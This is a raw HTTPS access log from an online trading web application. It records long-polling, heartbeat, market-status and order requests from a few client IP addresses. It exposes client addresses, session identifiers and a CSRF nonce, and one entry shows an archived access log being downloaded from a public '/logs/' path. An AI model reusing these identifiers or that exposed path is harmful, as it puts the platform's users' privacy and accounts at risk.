[09/Jan/2026:13:03:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935297037 HTTP/1.1" -
[09/Jan/2026:13:03:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935298693 HTTP/1.1" -
[09/Jan/2026:13:03:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935302102 HTTP/1.1" -
[09/Jan/2026:13:03:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:03:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:13:03:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:03:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935303978 HTTP/1.1" -
[09/Jan/2026:13:03:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935307223 HTTP/1.1" -
[09/Jan/2026:13:03:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:03:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:03:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1229
[09/Jan/2026:13:03:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:04:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935309032 HTTP/1.1" -
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1021
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1716
[09/Jan/2026:13:04:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935312283 HTTP/1.1" -
[09/Jan/2026:13:04:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:04:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935314251 HTTP/1.1" -
[09/Jan/2026:13:04:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935317357 HTTP/1.1" -
[09/Jan/2026:13:04:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935319536 HTTP/1.1" -
[09/Jan/2026:13:04:10 +0800] 52.167.144.161 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20251117 HTTP/1.1" 9467380
[09/Jan/2026:13:04:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935322547 HTTP/1.1" -
[09/Jan/2026:13:04:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935324748 HTTP/1.1" -
[09/Jan/2026:13:04:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935327684 HTTP/1.1" -
[09/Jan/2026:13:04:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935330017 HTTP/1.1" -
[09/Jan/2026:13:04:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935332828 HTTP/1.1" -
[09/Jan/2026:13:04:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:04:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:04:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935335237 HTTP/1.1" -
[09/Jan/2026:13:04:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935337950 HTTP/1.1" -
[09/Jan/2026:13:04:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:04:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935340333 HTTP/1.1" -
[09/Jan/2026:13:04:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935343086 HTTP/1.1" -
[09/Jan/2026:13:04:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:04:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935345621 HTTP/1.1" -
[09/Jan/2026:13:04:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935348152 HTTP/1.1" -
[09/Jan/2026:13:04:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935350839 HTTP/1.1" -
[09/Jan/2026:13:04:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935353205 HTTP/1.1" -
[09/Jan/2026:13:04:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935356140 HTTP/1.1" -
[09/Jan/2026:13:04:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935358378 HTTP/1.1" -
[09/Jan/2026:13:04:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935361348 HTTP/1.1" -
[09/Jan/2026:13:04:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935363529 HTTP/1.1" -
[09/Jan/2026:13:04:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:04:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:04:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:04:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935366588 HTTP/1.1" -
[09/Jan/2026:13:04:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935368645 HTTP/1.1" -
[09/Jan/2026:13:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:05:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935371804 HTTP/1.1" -
[09/Jan/2026:13:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935373770 HTTP/1.1" -
[09/Jan/2026:13:05:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935377096 HTTP/1.1" -
[09/Jan/2026:13:05:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935378822 HTTP/1.1" -
[09/Jan/2026:13:05:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935382228 HTTP/1.1" -
[09/Jan/2026:13:05:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935383966 HTTP/1.1" -
[09/Jan/2026:13:05:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935387472 HTTP/1.1" -
[09/Jan/2026:13:05:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935389094 HTTP/1.1" -
[09/Jan/2026:13:05:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935394246 HTTP/1.1" -
[09/Jan/2026:13:05:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935399377 HTTP/1.1" -
[09/Jan/2026:13:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:05:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:05:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935404521 HTTP/1.1" -
[09/Jan/2026:13:05:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935409579 HTTP/1.1" -
[09/Jan/2026:13:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:13:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935414717 HTTP/1.1" -
[09/Jan/2026:13:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935419767 HTTP/1.1" -
[09/Jan/2026:13:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:13:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935424892 HTTP/1.1" -
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935440893 HTTP/1.1" -
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935440895 HTTP/1.1" -
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
